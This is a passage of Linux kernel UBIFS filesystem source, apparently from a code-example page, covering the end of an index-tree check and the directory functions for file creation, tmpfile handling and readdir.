			/* Set last values as though root had a parent */
			last_level = le16_to_cpu(idx->level) + 1;
			last_sqnum = le64_to_cpu(idx->ch.sqnum) + 1;
			key_read(c, ubifs_idx_key(c, idx), &lower_key);
			highest_ino_key(c, &upper_key, INUM_WATERMARK);
		}
		key_copy(c, &upper_key, &i->upper_key);
		if (le16_to_cpu(idx->level) != last_level - 1) {
			err = 3;
			goto out_dump;
		}
		/*
		 * The index is always written bottom up hence a child's sqnum
		 * is always less than the parents.
		 */
		if (le64_to_cpu(idx->ch.sqnum) >= last_sqnum) {
			err = 4;
			goto out_dump;
		}
		/* Check key range */
		key_read(c, ubifs_idx_key(c, idx), &l_key);
		br = ubifs_idx_branch(c, idx, child_cnt - 1);
		key_read(c, &br->key, &u_key);
		if (keys_cmp(c, &lower_key, &l_key) > 0) {
			err = 5;
			goto out_dump;
		}
		if (keys_cmp(c, &upper_key, &u_key) < 0) {
			err = 6;
			goto out_dump;
		}
		if (keys_cmp(c, &upper_key, &u_key) == 0)
			if (!is_hash_key(c, &u_key)) {
				err = 7;
				goto out_dump;
			}
		/* Go to next index node */
		if (le16_to_cpu(idx->level) == 0) {
			/* At the bottom, so go up until can go right */
			while (1) {
				/* Drop the bottom of the list */
				list_del(&i->list);
				kfree(i);
				/* No more list means we are done */
				if (list_empty(&list))
					goto out;
				/* Look at the new bottom */
				i = list_entry(list.prev, struct idx_node,
					       list);
				idx = &i->idx;
				/* Can we go right */
				if (iip + 1 < le16_to_cpu(idx->child_cnt)) {
					iip = iip + 1;
					break;
				} else
					/* Nope, so go up again */
					iip = i->iip;
			}
		} else
			/* Go down left */
			iip = 0;
		/*
		 * We have the parent in 'idx' and now we set up for reading the
		 * child pointed to by slot 'iip'.
		 */
		last_level = le16_to_cpu(idx->level);
		last_sqnum = le64_to_cpu(idx->ch.sqnum);
		br = ubifs_idx_branch(c, idx, iip);
		lnum = le32_to_cpu(br->lnum);
		offs = le32_to_cpu(br->offs);
		len = le32_to_cpu(br->len);
		key_read(c, &br->key, &lower_key);
		if (iip + 1 < le16_to_cpu(idx->child_cnt)) {
			br = ubifs_idx_branch(c, idx, iip + 1);
			key_read(c, &br->key, &upper_key);
		} else
			key_copy(c, &i->upper_key, &upper_key);
	}
Example #30
0
static int ubifs_create(struct inode *dir, struct dentry *dentry, umode_t mode,
			bool excl)
{
	struct inode *inode;
	struct ubifs_info *c = dir->i_sb->s_fs_info;
	struct ubifs_budget_req req = { .new_ino = 1, .new_dent = 1,
					.dirtied_ino = 1 };
	struct ubifs_inode *dir_ui = ubifs_inode(dir);
	struct fscrypt_name nm;
	int err, sz_change;

	/*
	 * Budget request settings: new inode, new direntry, changing the
	 * parent directory inode.
	 */

	dbg_gen("dent '%pd', mode %#hx in dir ino %lu",
		dentry, mode, dir->i_ino);

	err = ubifs_budget_space(c, &req);
	if (err)
		return err;

	err = fscrypt_setup_filename(dir, &dentry->d_name, 0, &nm);
	if (err)
		goto out_budg;

	sz_change = CALC_DENT_SIZE(fname_len(&nm));

	inode = ubifs_new_inode(c, dir, mode);
	if (IS_ERR(inode)) {
		err = PTR_ERR(inode);
		goto out_fname;
	}

	err = ubifs_init_security(dir, inode, &dentry->d_name);
	if (err)
		goto out_inode;

	mutex_lock(&dir_ui->ui_mutex);
	dir->i_size += sz_change;
	dir_ui->ui_size = dir->i_size;
	dir->i_mtime = dir->i_ctime = inode->i_ctime;
	err = ubifs_jnl_update(c, dir, &nm, inode, 0, 0);
	if (err)
		goto out_cancel;
	mutex_unlock(&dir_ui->ui_mutex);

	ubifs_release_budget(c, &req);
	fscrypt_free_filename(&nm);
	insert_inode_hash(inode);
	d_instantiate(dentry, inode);
	return 0;

out_cancel:
	dir->i_size -= sz_change;
	dir_ui->ui_size = dir->i_size;
	mutex_unlock(&dir_ui->ui_mutex);
out_inode:
	make_bad_inode(inode);
	iput(inode);
out_fname:
	fscrypt_free_filename(&nm);
out_budg:
	ubifs_release_budget(c, &req);
	ubifs_err(c, "cannot create regular file, error %d", err);
	return err;
}

static int do_tmpfile(struct inode *dir, struct dentry *dentry,
		      umode_t mode, struct inode **whiteout)
{
	struct inode *inode;
	struct ubifs_info *c = dir->i_sb->s_fs_info;
	struct ubifs_budget_req req = { .new_ino = 1, .new_dent = 1};
	struct ubifs_budget_req ino_req = { .dirtied_ino = 1 };
	struct ubifs_inode *ui, *dir_ui = ubifs_inode(dir);
	int err, instantiated = 0;
	struct fscrypt_name nm;

	/*
	 * Budget request settings: new dirty inode, new direntry,
	 * budget for dirtied inode will be released via writeback.
	 */

	dbg_gen("dent '%pd', mode %#hx in dir ino %lu",
		dentry, mode, dir->i_ino);

	err = fscrypt_setup_filename(dir, &dentry->d_name, 0, &nm);
	if (err)
		return err;

	err = ubifs_budget_space(c, &req);
	if (err) {
		fscrypt_free_filename(&nm);
		return err;
	}

	err = ubifs_budget_space(c, &ino_req);
	if (err) {
		ubifs_release_budget(c, &req);
		fscrypt_free_filename(&nm);
		return err;
	}

	inode = ubifs_new_inode(c, dir, mode);
	if (IS_ERR(inode)) {
		err = PTR_ERR(inode);
		goto out_budg;
	}
	ui = ubifs_inode(inode);

	if (whiteout) {
		init_special_inode(inode, inode->i_mode, WHITEOUT_DEV);
		ubifs_assert(inode->i_op == &ubifs_file_inode_operations);
	}

	err = ubifs_init_security(dir, inode, &dentry->d_name);
	if (err)
		goto out_inode;

	mutex_lock(&ui->ui_mutex);
	insert_inode_hash(inode);

	if (whiteout) {
		mark_inode_dirty(inode);
		drop_nlink(inode);
		*whiteout = inode;
	} else {
		d_tmpfile(dentry, inode);
	}
	ubifs_assert(ui->dirty);

	instantiated = 1;
	mutex_unlock(&ui->ui_mutex);

	mutex_lock(&dir_ui->ui_mutex);
	err = ubifs_jnl_update(c, dir, &nm, inode, 1, 0);
	if (err)
		goto out_cancel;
	mutex_unlock(&dir_ui->ui_mutex);

	ubifs_release_budget(c, &req);

	return 0;

out_cancel:
	mutex_unlock(&dir_ui->ui_mutex);
out_inode:
	make_bad_inode(inode);
	if (!instantiated)
		iput(inode);
out_budg:
	ubifs_release_budget(c, &req);
	if (!instantiated)
		ubifs_release_budget(c, &ino_req);
	fscrypt_free_filename(&nm);
	ubifs_err(c, "cannot create temporary file, error %d", err);
	return err;
}

static int ubifs_tmpfile(struct inode *dir, struct dentry *dentry,
			 umode_t mode)
{
	return do_tmpfile(dir, dentry, mode, NULL);
}

/**
 * vfs_dent_type - get VFS directory entry type.
 * @type: UBIFS directory entry type
 *
 * This function converts UBIFS directory entry type into VFS directory entry
 * type.
 */
static unsigned int vfs_dent_type(uint8_t type)
{
	switch (type) {
	case UBIFS_ITYPE_REG:
		return DT_REG;
	case UBIFS_ITYPE_DIR:
		return DT_DIR;
	case UBIFS_ITYPE_LNK:
		return DT_LNK;
	case UBIFS_ITYPE_BLK:
		return DT_BLK;
	case UBIFS_ITYPE_CHR:
		return DT_CHR;
	case UBIFS_ITYPE_FIFO:
		return DT_FIFO;
	case UBIFS_ITYPE_SOCK:
		return DT_SOCK;
	default:
		BUG();
	}
	return 0;
}

/*
 * The classical Unix view for directory is that it is a linear array of
 * (name, inode number) entries. Linux/VFS assumes this model as well.
 * Particularly, 'readdir()' call wants us to return a directory entry offset
 * which later may be used to continue 'readdir()'ing the directory or to
 * 'seek()' to that specific direntry. Obviously UBIFS does not really fit this
 * model because directory entries are identified by keys, which may collide.
 *
 * UBIFS uses directory entry hash value for directory offsets, so
 * 'seekdir()'/'telldir()' may not always work because of possible key
 * collisions. But UBIFS guarantees that consecutive 'readdir()' calls work
 * properly by means of saving full directory entry name in the private field
 * of the file description object.
 *
 * This means that UBIFS cannot support NFS which requires full
 * 'seekdir()'/'telldir()' support.
 */
static int ubifs_readdir(struct file *file, struct dir_context *ctx)
{
	int fstr_real_len = 0, err = 0;
	struct fscrypt_name nm;
	struct fscrypt_str fstr = {0};
	union ubifs_key key;
	struct ubifs_dent_node *dent;
	struct inode *dir = file_inode(file);
	struct ubifs_info *c = dir->i_sb->s_fs_info;
	bool encrypted = ubifs_crypt_is_encrypted(dir);

	dbg_gen("dir ino %lu, f_pos %#llx", dir->i_ino, ctx->pos);

	if (ctx->pos > UBIFS_S_KEY_HASH_MASK || ctx->pos == 2)
		/*
		 * The directory was seek'ed to a senseless position or there
		 * are no more entries.
		 */
		return 0;

	if (encrypted) {
		err = fscrypt_get_encryption_info(dir);
		if (err && err != -ENOKEY)
			return err;

		err = fscrypt_fname_alloc_buffer(dir, UBIFS_MAX_NLEN, &fstr);
		if (err)
			return err;

		fstr_real_len = fstr.len;
	}

	if (file->f_version == 0) {
		/*
		 * The file was seek'ed, which means that @file->private_data
		 * is now invalid. This may also be just the first
		 * 'ubifs_readdir()' invocation, in which case
		 * @file->private_data is NULL, and the below code is
		 * basically a no-op.
		 */
		kfree(file->private_data);
		file->private_data = NULL;
	}

	/*
	 * 'generic_file_llseek()' unconditionally sets @file->f_version to
	 * zero, and we use this for detecting whether the file was seek'ed.
	 */
	file->f_version = 1;

	/* File positions 0 and 1 correspond to "." and ".." */
	if (ctx->pos < 2) {
		ubifs_assert(!file->private_data);
		if (!dir_emit_dots(file, ctx)) {
			if (encrypted)
				fscrypt_fname_free_buffer(&fstr);
			return 0;
		}

		/* Find the first entry in TNC and save it */
		lowest_dent_key(c, &key, dir->i_ino);
		fname_len(&nm) = 0;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}

		ctx->pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
	}

	dent = file->private_data;
	if (!dent) {
		/*
		 * The directory was seek'ed to and is now readdir'ed.
		 * Find the entry corresponding to @ctx->pos or the closest one.
		 */
		dent_key_init_hash(c, &key, dir->i_ino, ctx->pos);
		fname_len(&nm) = 0;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}
		ctx->pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
	}

	while (1) {
		dbg_gen("ino %llu, new f_pos %#x",
			(unsigned long long)le64_to_cpu(dent->inum),
			key_hash_flash(c, &dent->key));
		ubifs_assert(le64_to_cpu(dent->ch.sqnum) >
			     ubifs_inode(dir)->creat_sqnum);

		fname_len(&nm) = le16_to_cpu(dent->nlen);
		fname_name(&nm) = dent->name;

		if (encrypted) {
			fstr.len = fstr_real_len;

			err = fscrypt_fname_disk_to_usr(dir, key_hash_flash(c,
							&dent->key),
							le32_to_cpu(dent->cookie),
							&nm.disk_name, &fstr);
			if (err)
				goto out;
		} else {
			fstr.len = fname_len(&nm);
			fstr.name = fname_name(&nm);
		}

		if (!dir_emit(ctx, fstr.name, fstr.len,
			       le64_to_cpu(dent->inum),
			       vfs_dent_type(dent->type))) {
			if (encrypted)
				fscrypt_fname_free_buffer(&fstr);
			return 0;
		}

		/* Switch to the next entry */
		key_read(c, &dent->key, &key);
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}

		kfree(file->private_data);
		ctx->pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
		cond_resched();
	}

out:
	kfree(file->private_data);
	file->private_data = NULL;

	if (encrypted)
		fscrypt_fname_free_buffer(&fstr);

	if (err != -ENOENT)
		ubifs_err(c, "cannot find next direntry, error %d", err);
	else
		/*
		 * -ENOENT is a non-fatal error in this context, the TNC uses
		 * it to indicate that the cursor moved past the current directory
		 * and readdir() has to stop.
		 */
		err = 0;


	/* 2 is a special value indicating that there are no more direntries */
	ctx->pos = 2;
	return err;
}

/* Free saved readdir() state when the directory is closed */
static int ubifs_dir_release(struct inode *dir, struct file *file)
{
	kfree(file->private_data);
	file->private_data = NULL;
	return 0;
}

/**
 * lock_2_inodes - a wrapper for locking two UBIFS inodes.
 * @inode1: first inode
 * @inode2: second inode
 *
 * We do not implement any tricks to guarantee strict lock ordering, because
 * VFS has already done it for us on the @i_mutex. So this is just a simple
 * wrapper function.
 */
static void lock_2_inodes(struct inode *inode1, struct inode *inode2)
{
	mutex_lock_nested(&ubifs_inode(inode1)->ui_mutex, WB_MUTEX_1);
	mutex_lock_nested(&ubifs_inode(inode2)->ui_mutex, WB_MUTEX_2);
}